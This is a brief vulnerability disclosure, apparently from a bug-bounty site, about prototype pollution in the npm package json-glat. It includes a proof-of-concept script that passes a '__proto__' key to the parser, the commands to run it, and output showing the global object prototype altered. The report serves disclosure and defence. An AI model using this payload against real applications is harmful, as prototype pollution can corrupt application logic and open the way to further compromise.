Prototype Pollution in xiaoyifan6/json-glat


Reported on

Jan 10th 2021


json-glat is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var jsonGlat = require("json-glat")
console.log("Before : " + {}.polluted);
jsonGlat.parse({'__proto__.polluted': 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i json-glat # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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